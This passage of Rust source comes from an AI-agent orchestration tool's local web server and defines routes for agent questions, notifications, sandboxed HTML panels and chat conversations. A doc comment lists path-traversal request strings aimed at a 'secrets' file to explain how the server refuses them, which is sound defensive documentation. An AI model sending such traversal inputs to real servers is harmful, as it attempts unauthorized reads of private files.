6202fn runs_revision(runs: &FsPath) -> u64 {
6203    stamps_revision(&store_stamps(runs, true))
6204}
6205
6206/// Opaque tokens use the exact metadata snapshot behind the delta, in both
6207/// health and SSE. Nanoseconds and length also detect same-millisecond writes
6208/// and deleting an older conversation (a newest-mtime token cannot do that).
6209fn stamps_revision(stamps: &Stamps) -> u64 {
6210    use std::hash::{Hash as _, Hasher as _};
6211    if stamps.is_empty() {
6212        return 0;
6213    }
6214    let mut entries: Vec<_> = stamps.iter().collect();
6215    entries.sort_unstable();
6216    let mut hasher = std::hash::DefaultHasher::new();
6217    entries.hash(&mut hasher);
6218    hasher.finish().max(1)
6219}
6220
6221/// Run ids under `runs`, newest first.
6222///
6223/// Rooted at an explicit directory rather than calling [`run::list_ids`],
6224/// which reads the process-global home: the server has to be drivable against
6225/// a temp directory for any of this to be testable.
6226fn run_ids(runs: &FsPath) -> Vec<String> {
6227    let mut ids: Vec<String> = std::fs::read_dir(runs)
6228        .into_iter()
6229        .flatten()
6230        .flatten()
6231        .filter(|e| e.path().join("run.json").is_file())
6232        .map(|e| e.file_name().to_string_lossy().into_owned())
6233        .collect();
6234    // Ids start with a sortable timestamp.
6235    ids.sort_unstable_by(|a, b| b.cmp(a));
6236    ids
6237}
6238
6239/// Read one run's state from an explicit runs root.
6240fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6241    let path = runs.join(id).join("run.json");
6242    let body =
6243        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6244    let state: RunState =
6245        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6246    // The same migration `RunState::load` applies, so a record from the
6247    // previous schema reads here as it does everywhere else (an origin-less
6248    // run shows as "origin unknown") instead of vanishing from the phone the
6249    // moment the schema is bumped.
6250    run::migrate_schema(state)
6251}
6252
6253/// Runs on disk under `runs` whose state this build cannot parse - almost
6254/// always a schema bump, occasionally a run killed mid-write.
6255///
6256/// Exposed so every surface that reports on runs shares one count instead of
6257/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
6258/// `magi doctor` calls this directly rather than guessing at the same number
6259/// a second way.
6260#[must_use]
6261pub fn runs_unreadable(runs: &FsPath) -> usize {
6262    run_ids(runs)
6263        .into_iter()
6264        .filter(|id| read_run(runs, id).is_err())
6265        .count()
6266}
6267
6268/// Expand an id or short id to exactly one run id.
6269fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6270    if runs.join(id).join("run.json").is_file() {
6271        return Ok(id.to_owned());
6272    }
6273    pick(run_ids(runs), id, "run")
6274}
6275
6276/// Expand an id or short id to exactly one task id.
6277fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6278    if queue.path_of(id).is_file() {
6279        return Ok(id.to_owned());
6280    }
6281    pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6282}
6283
6284/// A question as the phone reads it.
6285///
6286/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
6287/// text already parsed into a node tree so the client never runs its own
6288/// markdown reader over agent-authored prose. A relative image path in it
6289/// resolves against this question's own panel asset route, which is the one
6290/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
6291/// separate, sandboxed document, but `detail` is rendered inline in the
6292/// operator's own page, so an image reference in it may only ever point at
6293/// files magi itself already serves for this question.
6294#[derive(Debug, Serialize)]
6295struct QuestionView {
6296    #[serde(flatten)]
6297    question: Question,
6298    detail_md: Vec<md::Node>,
6299    posting_view: Option<PostingView>,
6300    /// Each thread turn's body, parsed; same order as `question.thread`.
6301    thread_bodies_md: Vec<Vec<md::Node>>,
6302    /// Each thread turn's deputy note, parsed (`None` for a turn without
6303    /// one); same order as `question.thread`.
6304    thread_notes_md: Vec<Option<Vec<md::Node>>>,
6305    /// Is the ball in the agent's court right now?
6306    ///
6307    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
6308    /// [`Question::say`] - so this is the one field that tells the phone to
6309    /// disable the answer controls and show "waiting for the agent" instead of
6310    /// a card the owner can act on. Computed rather than stored on
6311    /// [`Question`] itself, on the same reasoning as `waiting` on
6312    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
6313    /// it here means the client never has to re-derive that rule.
6314    waiting_on_agent: bool,
6315    /// Who is waiting on this open question - see [`holder_of`]. Separate
6316    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
6317    /// anyone is there to take it.
6318    holder: Option<&'static str>,
6319    /// Whether `magi serve` can start a follow-up agent for a conductor
6320    /// question at all: false when `daemon.max_deputies = 0` or the config is
6321    /// unreadable. Separate from `holder`, which says who is listening now.
6322    deputies_enabled: bool,
6323    /// `question.run` is a task id (conductor / triage questions), not a run
6324    /// id, so the UI links it to the task page.
6325    run_is_task: bool,
6326    /// The chat conversation this question's task came from, when the owner
6327    /// may hand the question to it - see [`crate::consult::origin_talk`]. The
6328    /// UI offers "Ask the chat agent" only when this is set; it is never one
6329    /// of `question.choices`.
6330    origin_chat: Option<String>,
6331    /// `origin_chat` is closed; consulting reopens it first.
6332    origin_chat_closed: bool,
6333}
6334
6335#[derive(Debug, Serialize)]
6336struct PostingView {
6337    before_md: Vec<md::Node>,
6338    after_md: Vec<md::Node>,
6339    fields: Vec<crate::github_text::ComparisonView>,
6340}
6341
6342fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6343    let comparison = question.posting_comparison.as_ref()?;
6344    if !comparison.matches_detail(&question.detail) {
6345        return None;
6346    }
6347    let mut ids = std::collections::BTreeSet::new();
6348    if comparison.fields.is_empty()
6349        || comparison
6350            .fields
6351            .iter()
6352            .flat_map(|f| &f.pairs)
6353            .any(|p| !ids.insert(p.id))
6354        || comparison
6355            .fields
6356            .iter()
6357            .flat_map(|f| &f.original_triggers)
6358            .any(|t| !ids.insert(t.id))
6359    {
6360        return None;
6361    }
6362    let fields = comparison
6363        .fields
6364        .iter()
6365        .map(|f| f.view(comparison.excerpt))
6366        .collect::<Option<Vec<_>>>()?;
6367    Some(PostingView {
6368        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6369        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6370        fields,
6371    })
6372}
6373
6374impl QuestionView {
6375    /// The view of `question`, reading who is waiting on it from `store`.
6376    ///
6377    /// `holder` needs the lease sidecar, which is why this is not a `From`.
6378    fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
6379        let base = md::ImageBase::QuestionPanel {
6380            id: question.id.clone(),
6381        };
6382        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6383        Self {
6384            detail_md: md::to_nodes(&question.detail, &base),
6385            posting_view: posting_view(&question, &base),
6386            thread_bodies_md: question
6387                .thread
6388                .iter()
6389                .map(|t| md::to_nodes(&t.body, &base))
6390                .collect(),
6391            thread_notes_md: question
6392                .thread
6393                .iter()
6394                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6395                .collect(),
6396            waiting_on_agent: question.waiting_on_agent(),
6397            holder,
6398            deputies_enabled,
6399            run_is_task: question.run_names_task(),
6400            origin_chat: None,
6401            origin_chat_closed: false,
6402            question,
6403        }
6404    }
6405
6406    /// Fill `origin_chat` from the queue and the talks.
6407    fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6408        let talk = crate::consult::origin_talk(tasks, talks, &self.question);
6409        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6410        self.origin_chat = talk.map(|t| t.id);
6411        self
6412    }
6413}
6414
6415/// The config this repository resolves, or `None` when it cannot be read.
6416/// Discovering is git processes plus a config render, so a request that needs
6417/// it for many items takes it once and passes it down.
6418fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6419    Config::discover(repo, None).ok().map(|(c, _)| c)
6420}
6421
6422/// Can `magi serve` start a deputy for this question under `cfg`?
6423fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6424    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6425}
6426
6427/// The views `GET /api/questions` answers. `load` runs at most once, however
6428/// many questions there are, and not at all when there are none.
6429fn question_views(
6430    qs: Vec<Question>,
6431    store: &ask::Questions,
6432    load: impl FnOnce() -> Option<Config>,
6433) -> Vec<QuestionView> {
6434    if qs.is_empty() {
6435        return Vec::new();
6436    }
6437    let cfg = load();
6438    qs.into_iter()
6439        .map(|q| {
6440            let on = deputies_enabled(cfg.as_ref(), &q);
6441            QuestionView::of(q, store, on)
6442        })
6443        .collect()
6444}
6445
6446/// Who is honestly waiting on an open question right now: `"asker"` (the
6447/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
6448/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
6449/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
6450/// up, or the question never had anyone listening (a conductor question or a
6451/// merge approval from before deputies, or not yet given one).
6452///
6453/// `None` for a question that is settled, and for one that is not an agent's
6454/// to wait on at all (a release notice).
6455fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6456    if !q.status.open() {
6457        return None;
6458    }
6459    if q.cwd.is_none() && q.deputy.is_none() {
6460        return crate::deputy::kind_of(q).map(|_| "nobody");
6461    }
6462    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6463        Some(_) if q.deputy.is_some() => "deputy",
6464        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6465        Some(_) => "asker",
6466        None => "nobody",
6467    })
6468}
6469
6470/// `GET /api/questions`.
6471///
6472/// Everything, not just the open ones: an answered question is the record of a
6473/// decision, and the phone is where the operator goes back to check what they
6474/// told an agent at 3am. `ask::Questions::list` already ranks open first.
6475async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6476    blocking(move || {
6477        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6478        Ok(Json(
6479            question_views(ui.questions.list(), &ui.questions, || {
6480                deputy_config(&ui.repo)
6481            })
6482            .into_iter()
6483            .map(|v| v.with_origin(&tasks, &talks))
6484            .collect(),
6485        ))
6486    })
6487    .await
6488}
6489
6490/// `GET /api/notifications`: not dismissed, newest first, with the unread
6491/// count so the badge and the list cannot disagree.
6492async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6493    blocking(move || {
6494        let items = ui.notices.list();
6495        let unread = items.iter().filter(|n| n.unread()).count();
6496        Ok(Json(
6497            serde_json::json!({ "unread": unread, "items": items }),
6498        ))
6499    })
6500    .await
6501}
6502
6503fn notice_error(e: anyhow::Error) -> ApiError {
6504    // An unknown or malformed id and a vanished file are the same answer to
6505    // the phone: that notification is gone.
6506    ApiError::not_found(format!("{e:#}"))
6507}
6508
6509/// `POST /api/notifications/{id}/read`.
6510async fn notification_read(
6511    State(ui): State<Arc<Ui>>,
6512    Path(id): Path<String>,
6513) -> ApiResult<Json<Notice>> {
6514    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6515}
6516
6517/// `POST /api/notifications/{id}/dismiss`.
6518async fn notification_dismiss(
6519    State(ui): State<Arc<Ui>>,
6520    Path(id): Path<String>,
6521) -> ApiResult<Json<Notice>> {
6522    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6523}
6524
6525/// `POST /api/notifications/read-all`.
6526async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6527    blocking(move || {
6528        let changed = ui.notices.mark_all_read()?;
6529        Ok(Json(serde_json::json!({ "marked": changed })))
6530    })
6531    .await
6532}
6533
6534/// The body of `POST /api/questions/{id}/answer`.
6535///
6536/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
6537/// a bad request rather than a guess: an answer magi invented is worse than a
6538/// question left open.
6539#[derive(Debug, Default, Deserialize)]
6540#[serde(default, deny_unknown_fields)]
6541struct NewAnswer {
6542    choice: Option<String>,
6543    text: Option<String>,
6544}
6545
6546async fn question_answer(
6547    State(ui): State<Arc<Ui>>,
6548    Path(id): Path<String>,
6549    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6550) -> ApiResult<Json<QuestionView>> {
6551    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6552    let answer = match (body.choice, body.text) {
6553        (Some(c), None) => Answer::Choice(c),
6554        (None, Some(t)) => Answer::Text(t),
6555        (Some(_), Some(_)) => {
6556            return Err(ApiError::bad_request(
6557                "send either `choice` or `text`, not both",
6558            ));
6559        }
6560        (None, None) => {
6561            return Err(ApiError::bad_request("send a `choice` or a `text`"));
6562        }
6563    };
6564
6565    blocking(move || {
6566        let id = resolve_question(&ui.questions, &id)?;
6567        let q = ui
6568            .questions
6569            .get(&id)
6570            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6571        if !q.status.open() {
6572            // Answered from the terminal, or by another phone, in between the
6573            // list and the tap. The UI shows the recorded answer rather than an
6574            // error, so it needs the record, not just the status.
6575            return Err(ApiError::conflict(format!(
6576                "question {} is already {}",
6577                q.short(),
6578                q.status.as_str()
6579            )));
6580        }
6581        // `Question::answer` owns the rules - an unoffered choice, free text on
6582        // a multiple-choice question, an empty reply - so the route does not
6583        // restate them and cannot drift from the CLI's behaviour.
6584        let (q, ()) = ui
6585            .questions
6586            .update(&q.id, |r| r.answer(answer))
6587            .map_err(ApiError::bad_request_from)?;
6588        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6589        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6590        Ok(Json(
6591            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6592        ))
6593    })
6594    .await
6595}
6596
6597/// The body of `POST /api/questions/{id}/say`.
6598#[derive(Debug, Deserialize)]
6599#[serde(deny_unknown_fields)]
6600struct NewSay {
6601    body: String,
6602}
6603
6604/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
6605///
6606/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
6607/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
6608/// file, so there is no turn to serialize against and no
6609/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
6610/// is a *different* process - the run parked behind `magi ask` - and picks
6611/// the reply up on its own poll of the very same file, same as an answer
6612/// does.
6613async fn question_say(
6614    State(ui): State<Arc<Ui>>,
6615    Path(id): Path<String>,
6616    body: std::result::Result<Json<NewSay>, JsonRejection>,
6617) -> ApiResult<Json<QuestionView>> {
6618    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6619    blocking(move || {
6620        let id = resolve_question(&ui.questions, &id)?;
6621        let q = ui
6622            .questions
6623            .get(&id)
6624            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6625        if !q.status.open() {
6626            // Same granularity as `question_answer`: answered or abandoned in
6627            // between the list and the tap is not this route's error to
6628            // explain any differently.
6629            return Err(ApiError::conflict(format!(
6630                "question {} is already {}",
6631                q.short(),
6632                q.status.as_str()
6633            )));
6634        }
6635        // `Question::say` owns the one rule that matters here - an empty
6636        // message tells the agent nothing - so the route does not restate it.
6637        let (q, ()) = ui
6638            .questions
6639            .update(&q.id, |r| r.say(body.body))
6640            .map_err(ApiError::bad_request_from)?;
6641        let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6642        let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6643        Ok(Json(
6644            QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6645        ))
6646    })
6647    .await
6648}
6649
6650/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
6651/// came from. The question stays open: the chat agent answers it with `magi
6652/// answer`, or puts the decision to the owner in the conversation.
6653///
6654/// Answers 202 and runs the turn in the background, like every route that
6655/// spends agent calls. The text is queued as a draft of the existing talk, and
6656/// the turn goes through the talk's own gate and session; no seat or waiter is
6657/// started here.
6658async fn question_consult(
6659    State(ui): State<Arc<Ui>>,
6660    Path(id): Path<String>,
6661) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6662    let (view, reclaimed) = blocking({
6663        let ui = Arc::clone(&ui);
6664        move || {
6665            let id = resolve_question(&ui.questions, &id)?;
6666            let q = ui
6667                .questions
6668                .get(&id)
6669                .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6670            if !q.status.open() {
6671                return Err(ApiError::conflict(format!(
6672                    "question {} is already {}",
6673                    q.short(),
6674                    q.status.as_str()
6675                )));
6676            }
6677            let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6678            let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6679                return Err(ApiError::conflict(format!(
6680                    "question {} has no chat to ask",
6681                    q.short()
6682                )));
6683            };
6684            // Read the config before `begin` saves anything: a failure here
6685            // must leave no consult record or draft behind, or a retry would
6686            // see `fresh == false` and never start the turn.
6687            let cfg = if q.consult.is_none() {
6688                Some(Config::discover(&talk.repo, None)?.0)
6689            } else {
6690                None
6691            };
6692            let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6693            let claim = if fresh {
6694                match ui.begin_queued_talk_turn(&talk.id)? {
6695                    Some(turn_guard) => {
6696                        let talk = ui.talks.get(&talk.id)?;
6697                        let cfg = match cfg {
6698                            Some(cfg) => cfg,
6699                            None => Config::discover(&talk.repo, None)?.0,
6700                        };
6701                        Some((talk, cfg, turn_guard))
6702                    }
6703                    None => None,
6704                }
6705            } else {
6706                None
6707            };
6708            let q = ui.questions.get(&q.id)?;
6709            let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6710            let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6711            Ok((view, claim))
6712        }
6713    })
6714    .await?;
6715    if let Some((talk, cfg, turn_guard)) = reclaimed {
6716        let talks = ui.talks.clone();
6717        let id = talk.id.clone();
6718        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6719    }
6720    Ok((StatusCode::ACCEPTED, Json(view)))
6721}
6722
6723/// Expand an id or short id to exactly one question id.
6724fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6725    if store.path_of(id).is_file() {
6726        return Ok(id.to_owned());
6727    }
6728    pick(
6729        store.list().into_iter().map(|q| q.id).collect(),
6730        id,
6731        "question",
6732    )
6733}
6734
6735/// `GET /api/questions/{id}/panel`.
6736///
6737/// The panel an agent wrote for this question, as `text/html` under
6738/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
6739/// A question without one is a 404 rather than an empty page: the client
6740/// preflights this route with `HEAD` and must be able to tell "no panel" from
6741/// "a panel that rendered blank", and a sandboxed frame is opaque to the
6742/// parent document so it cannot tell the difference by looking.
6743///
6744/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
6745/// sanitises or minifies it - a sanitiser is a list of things someone thought
6746/// of, and the sandbox plus the CSP is a list of things that are allowed, which
6747/// is the direction that stays safe when an agent writes markup nobody
6748/// predicted.
6749async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6750    blocking(move || {
6751        let id = resolve_question(&ui.questions, &id)?;
6752        let Some(html) = ui.questions.panel_html(&id) else {
6753            return Err(ApiError::not_found(format!("question {id} has no panel")));
6754        };
6755        Ok(panel_response(
6756            "text/html; charset=utf-8",
6757            false,
6758            html.into_bytes(),
6759        ))
6760    })
6761    .await
6762}
6763
6764/// `GET /api/questions/{id}/asset/{name}`.
6765///
6766/// One file from the question's own panel directory, so a panel can show a
6767/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
6768/// having to allow anything off this machine.
6769///
6770/// This is the only route in the server where a client names a file, so it is
6771/// the only one with a traversal surface, and the name is checked by
6772/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
6773/// what is worth being explicit about, because the answer is not "all of it in
6774/// one place":
6775///
6776/// * `asset/../../secrets` never reaches this handler at all. axum matches on
6777///   the raw request path and `{name}` spans exactly one segment, so a real
6778///   slash makes the request too long for the route and the router answers 404.
6779/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
6780///   percent-decodes path parameters, so `name` arrives as `../secrets` and
6781///   `..\secrets` respectively, which look like plain filenames to the router.
6782///   The validator refuses them here - both for the literal `..` and because
6783///   `/` and `\` are not in the permitted character set - and answers 400.
6784/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
6785///   the platform's path API is not, and it is refused here for the same
6786///   reason: NUL is not a permitted character.
6787/// * [`Questions::panel_asset`] validates again on read, so the check is not
6788///   load-bearing in only one place. This route's own check exists so the
6789///   failure is a 400 that says which name was wrong, rather than a store error
6790///   the operator has to interpret.
6791async fn question_asset(
6792    State(ui): State<Arc<Ui>>,
6793    Path((id, name)): Path<(String, String)>,
6794) -> ApiResult<Response> {
6795    // Before any filesystem work and before any path is built: a name this
6796    // server will not serve should not become a `PathBuf` at all.
6797    if !crate::ask::valid_asset_name(&name) {
6798        return Err(ApiError::bad_request(format!(
6799            "`{name}` is not a usable asset name"
6800        )));
6801    }
6802    blocking(move || {
6803        let id = resolve_question(&ui.questions, &id)?;
6804        let asset = ui
6805            .questions
6806            .panel_asset(&id, &name)
6807            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6808        let Some(bytes) = asset else {
6809            return Err(ApiError::not_found(format!(
6810                "question {id} has no asset `{name}`"
6811            )));
6812        };
6813        Ok(panel_response(
6814            asset_content_type(&name),
6815            is_svg(&name),
6816            bytes,
6817        ))
6818    })
6819    .await
6820}
6821
6822/// Content type for a panel asset, from a closed whitelist.
6823///
6824/// A whitelist with an `application/octet-stream` fallback rather than a
6825/// guess, because the one answer that must never come out of here is
6826/// `text/html`. An agent that writes `notes.html` into its panel directory and
6827/// links it would otherwise get its own markup rendered at the top level of the
6828/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
6829/// magi's origin - which is precisely the thing the panel design exists to
6830/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
6831///
6832/// `nosniff` accompanies this on every response, so a browser cannot decide it
6833/// knows better than the type we sent.
6834fn asset_content_type(name: &str) -> &'static str {
6835    match extension(name).as_deref() {
6836        Some("png") => "image/png",
6837        Some("jpg" | "jpeg") => "image/jpeg",
6838        Some("gif") => "image/gif",
6839        Some("webp") => "image/webp",
6840        Some("svg") => "image/svg+xml",
6841        Some("css") => "text/css; charset=utf-8",
6842        Some("txt") => "text/plain; charset=utf-8",
6843        _ => "application/octet-stream",
6844    }
6845}
6846
6847/// Is this an SVG, and therefore a file that must never be opened at the top
6848/// level?
6849fn is_svg(name: &str) -> bool {
6850    extension(name).as_deref() == Some("svg")
6851}
6852
6853/// Lowercased extension, or `None` for a name without one.
6854fn extension(name: &str) -> Option<String> {
6855    name.rsplit_once('.')
6856        .map(|(_, ext)| ext.to_ascii_lowercase())
6857}
6858
6859/// Every panel response, with the four headers that make it safe and, for an
6860/// SVG, a fifth.
6861///
6862/// One function rather than a header list per handler, because a panel route
6863/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
6864/// model gone, silently, on one of two routes. Adding a third panel route later
6865/// means calling this, and there is nowhere else to build a panel response.
6866///
6867/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
6868/// as an `<img src>` inside the panel that script cannot run - but the asset
6869/// URL is also a plain URL an operator can be talked into opening in a tab,
6870/// where it is a document on magi's own origin. `Content-Disposition:
6871/// attachment` makes the browser download it instead of rendering it, which
6872/// closes that door without taking away the ability to draw a diff. Raster
6873/// images have no such execution surface and are left inline, so tapping a
6874/// screenshot still shows it.
6875fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6876    let mut res = (
6877        [
6878            (header::CONTENT_TYPE, content_type),
6879            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6880            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6881            (header::REFERRER_POLICY, "no-referrer"),
6882        ],
6883        body,
6884    )
6885        .into_response();
6886    if download {
6887        res.headers_mut().insert(
6888            header::CONTENT_DISPOSITION,
6889            HeaderValue::from_static("attachment"),
6890        );
6891    }
6892    res
6893}
6894
6895/// A talk as the phone reads it.
6896///
6897/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
6898/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6899/// parses markdown itself - and the process-local `thinking` hint.
6900#[derive(Debug, Serialize)]
6901struct TalkView {
6902    #[serde(flatten)]
6903    talk: Talk,
6904    turn_bodies_md: Vec<Vec<md::Node>>,
6905    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6906    /// this server process.
6907    ///
6908    /// This is deliberately not durable: another server process cannot see
6909    /// it, and a restarted server must not claim an old turn is live. It is a
6910    /// progress hint rather than proof a reply landed; the transcript remains
6911    /// the source of truth for that.
6912    thinking: bool,
6913    /// Context-window usage, derived per request - see
6914    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6915    /// and each mutation) so the phone needs no extra call or polling.
6916    context: talk::ContextUsage,
6917    /// `[talk] operator_name`, when configured; the Chat labels the
6918    /// operator's turns with it.
6919    operator_name: Option<String>,
6920    /// The active persona's display name; `None` for the default voice.
6921    persona_name: Option<String>,
6922    /// URL of the avatar for the conversation's persona (the default voice
6923    /// included). Server-built; a configured `icon` never reaches the client.
6924    persona_avatar: String,
6925    /// Fixed operator avatar; display only and independent of repository config.
6926    operator_avatar: String,
6927}
6928
6929impl TalkView {
6930    /// Reads the talk's repository config itself; a config that cannot be
6931    /// read leaves the window unknown but never fails the conversation.
6932    fn new(talk: Talk, thinking: bool) -> Self {
6933        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6934        Self::with_config(talk, thinking, cfg.as_ref())
6935    }
6936
6937    /// As [`Self::new`], with the config already in hand (the list reads one
6938    /// per repository, not one per conversation).
6939    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6940        let context = talk::context_usage(&talk, cfg);
6941        let turn_bodies_md = talk
6942            .turns
6943            .iter()
6944            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6945            .collect();
6946        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6947        let persona_name = persona::find(specs, &talk.persona)
6948            .filter(|p| !p.is_default())
6949            .map(|p| p.name);
6950        let persona_avatar = avatar_url(
6951            &talk.id,
6952            &persona::find(specs, &talk.persona)
6953                .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
6954        );
6955        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6956        Self {
6957            turn_bodies_md,
6958            thinking,
6959            context,
6960            operator_name,
6961            persona_name,
6962            persona_avatar,
6963            operator_avatar: format!(
6964                "/avatars/operator.svg?v={}",
6965                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
6966            ),
6967            talk,
6968        }
6969    }
6970}
6971
6972/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6973/// conversation has filed, so the phone can follow one from inside the
6974/// conversation that asked for it rather than hunting the Queue for a task id
6975/// it may not remember.
6976#[derive(Debug, Serialize)]
6977struct TalkDetailView {
6978    #[serde(flatten)]
6979    view: TalkView,
6980    tasks: Vec<TaskView>,
6981    /// The agents this talk's repository can switch to; empty when its
6982    /// configuration cannot be read, which must not fail the whole detail.
6983    roster: Vec<RosterEntry>,
6984    /// The personas the conversation can pick from. The built-ins are always
6985    /// listed, even when the repository's configuration cannot be read.
6986    personas: Vec<PersonaEntry>,
6987}
6988
6989/// One persona as the talk's persona selector shows it.
6990#[derive(Debug, Serialize)]
6991struct PersonaEntry {
6992    id: String,
6993    name: String,
6994    /// Avatar URL, see [`TalkView::persona_avatar`].
6995    avatar: String,
6996}
6997
6998/// One roster agent as the talk's agent selector shows it.
6999#[derive(Debug, Serialize)]
7000struct RosterEntry {
7001    id: String,
7002    kind: AgentKind,
7003    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
7004    runnable: bool,
7005}
7006
7007/// `GET /api/talks`.
7008///
7009/// Every conversation, open ones first and newest first - [`Talks::list`]'s
7010/// own order.
7011async fn talks_list(
7012    State(ui): State<Arc<Ui>>,
7013    Query(q): Query<ListQuery>,
7014) -> ApiResult<Json<Vec<TalkView>>> {
7015    blocking(move || {
7016        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7017        Ok(Json(
7018            ui.talks
7019                .list()
7020                .into_iter()
7021                .filter(|talk| q.contains(&talk.id))
7022                .map(|talk| {
7023                    let thinking = ui.is_thinking(&talk.id);
7024                    let cfg = configs
7025                        .entry(talk.repo.clone())
7026                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7027                    TalkView::with_config(talk, thinking, cfg.as_ref())
7028                })
7029                .collect(),
7030        ))
7031    })
7032    .await
7033}
7034
7035/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
7036/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
7037/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
7038/// end still opens a talk against an older binary.
7039#[derive(Debug, Default, Deserialize)]
7040#[serde(default)]
7041struct NewTalk {
7042    agent: Option<String>,
7043    repo: Option<PathBuf>,
7044    /// Remembered choices from the browser. Soft: kept as raw JSON so a
7045    /// wrong type is dropped like a stale value instead of failing the request;
7046    /// each falls back to its default on its own (see [`talk::begin_with`]).
7047    preferred_agent: Option<serde_json::Value>,
7048    persona: Option<serde_json::Value>,
7049    implementers: Option<serde_json::Value>,
7050}
7051
7052/// `POST /api/talks` - open a conversation. Takes no agent turn: see
7053/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
7054async fn talk_post(
